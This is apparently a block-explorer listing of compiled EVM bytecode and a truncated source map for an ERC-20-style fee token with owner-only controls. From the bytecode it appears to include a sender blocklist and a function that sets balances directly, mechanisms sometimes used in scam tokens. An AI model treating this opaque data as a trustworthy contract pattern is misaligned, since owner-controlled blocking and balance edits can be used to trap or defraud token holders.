1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b119190612abd565b60405180910390fd5b5060008385611b299190612d85565b9050809150509392505050565b6000611bc1826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ad29092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c5682600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461149290919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611cf69190612bbf565b60405180910390a3600190509392505050565b6001601660146101000a81548160ff0219169083151502179055506000819050611d3281612129565b6000479050600060125490506000611d6782611d59600f548661237e90919063ffffffff16565b6123f990919063ffffffff16565b90506000611d7e8285611e0f90919063ffffffff16565b90506000811115611db657611db5600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682612443565b5b6000821115611dec57611deb600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683612443565b5b50505050506000601660146101000a81548160ff02191690831515021790555050565b6000611e5183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ad2565b905092915050565b60008060009050600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611f0957600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611f0857600080fd5b5b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611f8a57611f836064611f756010548661237e90919063ffffffff16565b6123f990919063ffffffff16565b9050612008565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612007576120046064611ff66011548661237e90919063ffffffff16565b6123f990919063ffffffff16565b90505b5b600081111561210c5761206381600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461149290919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516121039190612bbf565b60405180910390a35b61211f8184611e0f90919063ffffffff16565b9150509392505050565b6000600267ffffffffffffffff81111561214657612145612fd2565b5b6040519080825280602002602001820160405280156121745781602001602082028036833780820191505090505b509050308160008151811061218c5761218b612fa3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561222e57600080fd5b505afa158015612242573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061226691906125c8565b8160018151811061227a57612279612fa3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506122e130601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846114f8565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612345959493929190612bda565b600060405180830381600087803b15801561235f57600080fd5b505af1925050508015612370575060015b6123795761237a565b5b5050565b60008083141561239157600090506123f3565b6000828461239f9190612d2b565b90508284826123ae9190612cfa565b146123ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123e590612b3f565b60405180910390fd5b809150505b92915050565b600061243b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061248e565b905092915050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612489573d6000803e3d6000fd5b505050565b600080831182906124d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124cc9190612abd565b60405180910390fd5b50600083856124e49190612cfa565b9050809150509392505050565b60008135905061250081613208565b92915050565b60008151905061251581613208565b92915050565b60008083601f84011261253157612530613006565b5b8235905067ffffffffffffffff81111561254e5761254d613001565b5b60208301915083602082028301111561256a5761256961300b565b5b9250929050565b6000813590506125808161321f565b92915050565b60008135905061259581613236565b92915050565b6000602082840312156125b1576125b0613015565b5b60006125bf848285016124f1565b91505092915050565b6000602082840312156125de576125dd613015565b5b60006125ec84828501612506565b91505092915050565b6000806040838503121561260c5761260b613015565b5b600061261a858286016124f1565b925050602061262b858286016124f1565b9150509250929050565b60008060006060848603121561264e5761264d613015565b5b600061265c868287016124f1565b935050602061266d868287016124f1565b925050604061267e86828701612586565b9150509250925092565b6000806040838503121561269f5761269e613015565b5b60006126ad858286016124f1565b92505060206126be85828601612586565b9150509250929050565b6000806000604084860312156126e1576126e0613015565b5b600084013567ffffffffffffffff8111156126ff576126fe613010565b5b61270b8682870161251b565b9350935050602061271e86828701612571565b9150509250925092565b60006020828403121561273e5761273d613015565b5b600061274c84828501612571565b91505092915050565b60008060006040848603121561276e5761276d613015565b5b600061277c86828701612571565b935050602084013567ffffffffffffffff81111561279d5761279c613010565b5b6127a98682870161251b565b92509250509250925092565b600080604083850312156127cc576127cb613015565b5b60006127da85828601612586565b92505060206127eb858286016124f1565b9150509250929050565b6000806040838503121561280c5761280b613015565b5b600061281a85828601612586565b925050602061282b85828601612586565b9150509250929050565b6000612841838361285c565b60208301905092915050565b61285681612dcb565b82525050565b61286581612db9565b82525050565b61287481612db9565b82525050565b600061288582612c5f565b61288f8185612c82565b935061289a83612c4f565b8060005b838110156128cb5781516128b28882612835565b97506128bd83612c75565b92505060018101905061289e565b5085935050505092915050565b6128e181612ddd565b82525050565b6128f081612e20565b82525050565b6128ff81612e32565b82525050565b600061291082612c6a565b61291a8185612c93565b935061292a818560208601612e68565b6129338161301a565b840191505092915050565b600061294b602383612c93565b91506129568261302b565b604082019050919050565b600061296e602283612c93565b91506129798261307a565b604082019050919050565b6000612991601b83612c93565b915061299c826130c9565b602082019050919050565b60006129b4602183612c93565b91506129bf826130f2565b604082019050919050565b60006129d7602083612c93565b91506129e282613141565b602082019050919050565b60006129fa602583612c93565b9150612a058261316a565b604082019050919050565b6000612a1d602483612c93565b9150612a28826131b9565b604082019050919050565b612a3c81612e09565b82525050565b612a4b81612e13565b82525050565b6000602082019050612a66600083018461286b565b92915050565b6000602082019050612a81600083018461284d565b92915050565b6000602082019050612a9c60008301846128d8565b92915050565b6000602082019050612ab760008301846128e7565b92915050565b60006020820190508181036000830152612ad78184612905565b905092915050565b60006020820190508181036000830152612af88161293e565b9050919050565b60006020820190508181036000830152612b1881612961565b9050919050565b60006020820190508181036000830152612b3881612984565b9050919050565b60006020820190508181036000830152612b58816129a7565b9050919050565b60006020820190508181036000830152612b78816129ca565b9050919050565b60006020820190508181036000830152612b98816129ed565b9050919050565b60006020820190508181036000830152612bb881612a10565b9050919050565b6000602082019050612bd46000830184612a33565b92915050565b600060a082019050612bef6000830188612a33565b612bfc60208301876128f6565b8181036040830152612c0e818661287a565b9050612c1d606083018561286b565b612c2a6080830184612a33565b9695505050505050565b6000602082019050612c496000830184612a42565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612caf82612e09565b9150612cba83612e09565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612cef57612cee612f16565b5b828201905092915050565b6000612d0582612e09565b9150612d1083612e09565b925082612d2057612d1f612f45565b5b828204905092915050565b6000612d3682612e09565b9150612d4183612e09565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612d7a57612d79612f16565b5b828202905092915050565b6000612d9082612e09565b9150612d9b83612e09565b925082821015612dae57612dad612f16565b5b828203905092915050565b6000612dc482612de9565b9050919050565b6000612dd682612de9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612e2b82612e44565b9050919050565b6000612e3d82612e09565b9050919050565b6000612e4f82612e56565b9050919050565b6000612e6182612de9565b9050919050565b60005b83811015612e86578082015181840152602081019050612e6b565b83811115612e95576000848401525b50505050565b60006002820490506001821680612eb357607f821691505b60208210811415612ec757612ec6612f74565b5b50919050565b6000612ed882612e09565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612f0b57612f0a612f16565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61321181612db9565b811461321c57600080fd5b50565b61322881612ddd565b811461323357600080fd5b50565b61323f81612e09565b811461324a57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220acfd7b743f8533acb37dc45532eb337f474cd11587bf30a66363357c1dee71b964736f6c63430008070033

Deployed Bytecode Sourcemap

3679:9226:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6209:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7514:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7000:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3884:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3918:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4861:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6486:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9034:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3965:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6395:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4174:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8907:117;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4283:39;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4231:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4976:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4499:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6594:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4623:38;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2755:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6300:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6872:120;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7984:242;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4668:44;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4540:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8732:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9355:214;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4373:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8234:118;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4331:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4909:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4416:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4459:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7740:236;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4791:60;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8496:193;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6721:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4579:37;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2969:157;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6209:83;6246:13;6279:5;6272:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6209:83;:::o;7514:218::-;2892:12;:10;:12::i;:::-;2882:22;;:6;;;;;;;;;;:22;;;2874:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;7618:9:::1;7614:111;7637:7;;:14;;7633:1;:18;7614:111;;;7705:8;7673:17;:29;7691:7;;7699:1;7691:10;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;7673:29;;;;;;;;;;;;;;;;:40;;;;;;;;;;;;;;;;;;7653:3;;;;;:::i;:::-;;;;7614:111;;;;7514:218:::0;;;:::o;7000:161::-;7075:4;7092:39;7101:12;:10;:12::i;:::-;7115:7;7124:6;7092:8;:39::i;:::-;7149:4;7142:11;;7000:161;;;;:::o;3884:27::-;;;;;;;;;;;;;:::o;3918:40::-;;;;;;;;;;;;;:::o;4861:41::-;;;;;;;;;;;;;:::o;6486:100::-;6539:7;6566:12;;6559:19;;6486:100;:::o;9034:313::-;9132:4;9149:36;9159:6;9167:9;9178:6;9149:9;:36::i;:::-;;9196:121;9205:6;9213:12;:10;:12::i;:::-;9227:89;9265:6;9227:89;;;;;;;;;;;;;;;;;:11;:19;9239:6;9227:19;;;;;;;;;;;;;;;:33;9247:12;:10;:12::i;:::-;9227:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;9196:8;:121::i;:::-;9335:4;9328:11;;9034:313;;;;;:::o;3965:81::-;;;:::o;6395:83::-;6436:5;6461:9;;;;;;;;;;;6454:16;;6395:83;:::o;4174:50::-;;;;;;;;;;;;;;;;;;;;;;:::o;8907:117::-;8960:6;8955:20;;8968:7;;8955:20;9002:12;:10;:12::i;:::-;8994:20;;:4;;;;;;;;;;;:20;;;8986:29;;;;;;8907:117;;:::o;4283:39::-;;;;;;;;;;;;;;;;;;;;;;:::o;4231:45::-;;;;;;;;;;;;;;;;;;;;;;:::o;4976:40::-;;;;;;;;;;;;;:::o;4499:34::-;;;;:::o;6594:119::-;6660:7;6687:9;:18;6697:7;6687:18;;;;;;;;;;;;;;;;6680:25;;6594:119;;;:::o;4623:38::-;;;;:::o;2755:79::-;2793:7;2820:6;;;;;;;;;;;2813:13;;2755:79;:::o;6300:87::-;6339:13;6372:7;6365:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6300:87;:::o;6872:120::-;6934:7;6961:23;;6954:30;;6872:120;:::o;7984:242::-;2892:12;:10;:12::i;:::-;2882:22;;:6;;;;;;;;;;:22;;;2874:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;8098:15:::1;8078:17;:35;;;;8139:10;8124:12;:25;;;;8183:35;8205:12;;8183:17;;:21;;:35;;;;:::i;:::-;8162:18;:56;;;;7984:242:::0;;:::o;4668:44::-;;;;:::o;4540:30::-;;;;:::o;8732:167::-;8810:4;8827:42;8837:12;:10;:12::i;:::-;8851:9;8862:6;8827:9;:42::i;:::-;;8887:4;8880:11;;8732:167;;;;:::o;9355:214::-;9418:17;9446:9;9450:4;9446:3;:9::i;:::-;9513;:16;9523:5;9513:16;;;;;;;;;;;;;;;;9509:1;:20;;;;:::i;:::-;9490:16;9500:5;9490:9;:16::i;:::-;9486:1;:20;;;;:::i;:::-;9478:5;:28;;;;:::i;:::-;:51;;;;:::i;:::-;9466:63;;9551:9;9532;:16;9542:5;9532:16;;;;;;;;;;;;;;;:28;;;;9407:162;9355:214;;:::o;4373:30::-;;;;:::o;8234:118::-;2892:12;:10;:12::i;:::-;2882:22;;:6;;;;;;;;;;:22;;;2874:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;8336:8:::1;8312:21;;:32;;;;;;;;;;;;;;;;;;8234:118:::0;:::o;4331:35::-;;;;:::o;4909:26::-;;;;;;;;;;;;;:::o;4416:36::-;;;;:::o;4459:31::-;;;;:::o;7740:236::-;2892:12;:10;:12::i;:::-;2882:22;;:6;;;;;;;;;;:22;;;2874:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;7852:15:::1;7833:16;:34;;;;7892:10;7878:11;:24;;;;7935:33;7956:11;;7935:16;;:20;;:33;;;;:::i;:::-;7915:17;:53;;;;7740:236:::0;;:::o;4791:60::-;;;;:::o;8496:193::-;8570:9;8574:4;8570:3;:9::i;:::-;8595;8590:92;8610:7;;:14;;8606:1;:18;8590:92;;;8667:3;8646:6;:18;8653:7;;8661:1;8653:10;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;8646:18;;;;;;;;;;;;;;;;:24;;;;;;;;;;;;;;;;;;8626:3;;;;;:::i;:::-;;;;8590:92;;;;8496:193;;;:::o;6721:143::-;6802:7;6829:11;:18;6841:5;6829:18;;;;;;;;;;;;;;;:27;6848:7;6829:27;;;;;;;;;;;;;;;;6822:34;;6721:143;;;;:::o;4579:37::-;;;;:::o;2969:157::-;2892:12;:10;:12::i;:::-;2882:22;;:6;;;;;;;;;;:22;;;2874:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3052:10:::1;3043:6;::::0;:19:::1;;;;;;;;;;;;;;;;;;3107:10;3078:40;;3099:6;::::0;::::1;;;;;;;;3078:40;;;;;;;;;;;;2969:157:::0;:::o;1045:181::-;1103:7;1123:9;1139:1;1135;:5;;;;:::i;:::-;1123:17;;1164:1;1159;:6;;1151:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1217:1;1210:8;;;1045:181;;;;:::o;98:115::-;151:15;194:10;179:26;;98:115;:::o;7169:337::-;7279:1;7262:19;;:5;:19;;;;7254:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7360:1;7341:21;;:7;:21;;;;7333:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7444:6;7414:11;:18;7426:5;7414:18;;;;;;;;;;;;;;;:27;7433:7;7414:27;;;;;;;;;;;;;;;:36;;;;7482:7;7466:32;;7475:5;7466:32;;;7491:6;7466:32;;;;;;:::i;:::-;;;;;;;;7169:337;;;:::o;9577:1144::-;9655:4;9698:1;9682:18;;:4;:18;;;;9674:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9775:1;9761:16;;:2;:16;;;;9753:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;9841:16;;;;;;;;;;;9838:876;;;9890:32;9905:4;9911:2;9915:6;9890:14;:32::i;:::-;9883:39;;;;9838:876;9974:28;10005:24;10023:4;10005:9;:24::i;:::-;9974:55;;10044:28;10099:23;;10075:20;:47;;10044:78;;10141:23;:44;;;;;10169:16;;;;;;;;;;;10168:17;10141:44;:67;;;;;10190:12;:18;10203:4;10190:18;;;;;;;;;;;;;;;;;;;;;;;;;10189:19;10141:67;:92;;;;;10212:21;;;;;;;;;;;10141:92;10137:183;;;10268:36;10283:20;10268:14;:36::i;:::-;10137:183;10354:27;10374:6;10354:9;:15;10364:4;10354:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;10336:9;:15;10346:4;10336:15;;;;;;;;;;;;;;;:45;;;;10396:19;10419:17;:23;10437:4;10419:23;;;;;;;;;;;;;;;;;;;;;;;;;:48;;;;10446:17;:21;10464:2;10446:21;;;;;;;;;;;;;;;;;;;;;;;;;10419:48;10418:130;;10523:25;10531:4;10537:2;10541:6;10523:7;:25::i;:::-;10418:130;;;10514:6;10418:130;10396:152;;10593:30;10611:11;10593:9;:13;10603:2;10593:13;;;;;;;;;;;;;;;;:17;;:30;;;;:::i;:::-;10577:9;:13;10587:2;10577:13;;;;;;;;;;;;;;;:46;;;;10660:2;10645:31;;10654:4;10645:31;;;10664:11;10645:31;;;;;;:::i;:::-;;;;;;;;10698:4;10691:11;;;;;9577:1144;;;;;;:::o;1380:192::-;1466:7;1499:1;1494;:6;;1502:12;1486:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1526:9;1542:1;1538;:5;;;;:::i;:::-;1526:17;;1563:1;1556:8;;;1380:192;;;;;:::o;10729:330::-;10822:4;10859:53;10881:6;10859:53;;;;;;;;;;;;;;;;;:9;:17;10869:6;10859:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;10839:9;:17;10849:6;10839:17;;;;;;;;;;;;;;;:73;;;;10946:32;10971:6;10946:9;:20;10956:9;10946:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;10923:9;:20;10933:9;10923:20;;;;;;;;;;;;;;;:55;;;;11011:9;10994:35;;11003:6;10994:35;;;11022:6;10994:35;;;;;;:::i;:::-;;;;;;;;11047:4;11040:11;;10729:330;;;;;:::o;11067:645::-;5076:4;5057:16;;:23;;;;;;;;;;;;;;;;;;11149:21:::1;11173:7;11149:31;;11191;11208:13;11191:16;:31::i;:::-;11233:22;11258:21;11233:46;;11292:19;11314:24;;11292:46;;11359:21;11383:47;11418:11;11383:30;11402:10;;11383:14;:18;;:30;;;;:::i;:::-;:34;;:47;;;;:::i;:::-;11359:71;;11441:26;11470:33;11489:13;11470:14;:18;;:33;;;;:::i;:::-;11441:62;;11540:1;11519:18;:22;11516:86;;;11556:46;11577:4;;;;;;;;;;;11583:18;11556:20;:46::i;:::-;11516:86;11634:1;11618:13;:17;11615:89;;;11650:54;11671:17;;;;;;;;;;;11690:13;11650:20;:54::i;:::-;11615:89;11128:584;;;;;5122:5:::0;5103:16;;:24;;;;;;;;;;;;;;;;;;11067:645;:::o;1236:136::-;1294:7;1321:43;1325:1;1328;1321:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1314:50;;1236:136;;;;:::o;12209:687::-;12295:7;12325:17;12345:1;12325:21;;12362:12;:20;12375:6;12362:20;;;;;;;;;;;;;;;;;;;;;;;;;12357:63;;12403:6;:14;12410:6;12403:14;;;;;;;;;;;;;;;;;;;;;;;;;12402:15;12394:24;;;;;;12357:63;12445:12;:20;12458:6;12445:20;;;;;;;;;;;;;;;;;;;;;;;;;12442:223;;;12494:38;12528:3;12494:29;12505:17;;12494:6;:10;;:29;;;;:::i;:::-;:33;;:38;;;;:::i;:::-;12482:50;;12442:223;;;12562:12;:23;12575:9;12562:23;;;;;;;;;;;;;;;;;;;;;;;;;12559:106;;;12614:39;12649:3;12614:30;12625:18;;12614:6;:10;;:30;;;;:::i;:::-;:34;;:39;;;;:::i;:::-;12602:51;;12559:106;12442:223;12690:1;12678:9;:13;12675:173;;;12735:39;12764:9;12735;:24;12753:4;12735:24;;;;;;;;;;;;;;;;:28;;:39;;;;:::i;:::-;12708:9;:24;12726:4;12708:24;;;;;;;;;;;;;;;:66;;;;12819:4;12794:42;;12803:6;12794:42;;;12826:9;12794:42;;;;;;:::i;:::-;;;;;;;;12675:173;12867:21;12878:9;12867:6;:10;;:21;;;;:::i;:::-;12860:28;;;12209:687;;;;;:::o;11726:475::-;11787:21;11825:1;11811:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11787:40;;11856:4;11838;11843:1;11838:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;11882:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11872:4;11877:1;11872:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;;;11917:57;11934:4;11949:15;;;;;;;;;;;11967:6;11917:8;:57::i;:::-;11991:15;;;;;;;;;;;:66;;;12072:6;12093:1;12110:4;12137;12157:15;11991:192;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11987:207;;;;;;11776:425;11726:475;:::o;1578:248::-;1636:7;1665:1;1660;:6;1656:47;;;1690:1;1683:8;;;;1656:47;1713:9;1729:1;1725;:5;;;;:::i;:::-;1713:17;;1758:1;1753;1749;:5;;;;:::i;:::-;:10;1741:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1817:1;1810:8;;;1578:248;;;;;:::o;1834:132::-;1892:7;1919:39;1923:1;1926;1919:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1912:46;;1834:132;;;;:::o;8362:126::-;8454:9;:18;;:26;8473:6;8454:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8362:126;;:::o;1974:189::-;2060:7;2092:1;2088;:5;2095:12;2080:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2119:9;2135:1;2131;:5;;;;:::i;:::-;2119:17;;2154:1;2147:8;;;1974:189;;;;;:::o;7:139:1:-;53:5;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;7:139;;;;:::o;152:143::-;209:5;240:6;234:13;225:22;;256:33;283:5;256:33;:::i;:::-;152:143;;;;:::o;318:568::-;391:8;401:6;451:3;444:4;436:6;432:17;428:27;418:122;;459:79;;:::i;:::-;418:122;572:6;559:20;549:30;;602:18;594:6;591:30;588:117;;;624:79;;:::i;:::-;588:117;738:4;730:6;726:17;714:29;;792:3;784:4;776:6;772:17;762:8;758:32;755:41;752:128;;;799:79;;:::i;:::-;752:128;318:568;;;;;:::o;892:133::-;935:5;973:6;960:20;951:29;;989:30;1013:5;989:30;:::i;:::-;892:133;;;;:::o;1031:139::-;1077:5;1115:6;1102:20;1093:29;;1131:33;1158:5;1131:33;:::i;:::-;1031:139;;;;:::o;1176:329::-;1235:6;1284:2;1272:9;1263:7;1259:23;1255:32;1252:119;;;1290:79;;:::i;:::-;1252:119;1410:1;1435:53;1480:7;1471:6;1460:9;1456:22;1435:53;:::i;:::-;1425:63;;1381:117;1176:329;;;;:::o;1511:351::-;1581:6;1630:2;1618:9;1609:7;1605:23;1601:32;1598:119;;;1636:79;;:::i;:::-;1598:119;1756:1;1781:64;1837:7;1828:6;1817:9;1813:22;1781:64;:::i;:::-;1771:74;;1727:128;1511:351;;;;:::o;1868:474::-;1936:6;1944;1993:2;1981:9;1972:7;1968:23;1964:32;1961:119;;;1999:79;;:::i;:::-;1961:119;2119:1;2144:53;2189:7;2180:6;2169:9;2165:22;2144:53;:::i;:::-;2134:63;;2090:117;2246:2;2272:53;2317:7;2308:6;2297:9;2293:22;2272:53;:::i;:::-;2262:63;;2217:118;1868:474;;;;;:::o;2348:619::-;2425:6;2433;2441;2490:2;2478:9;2469:7;2465:23;2461:32;2458:119;;;2496:79;;:::i;:::-;2458:119;2616:1;2641:53;2686:7;2677:6;2666:9;2662:22;2641:53;:::i;:::-;2631:63;;25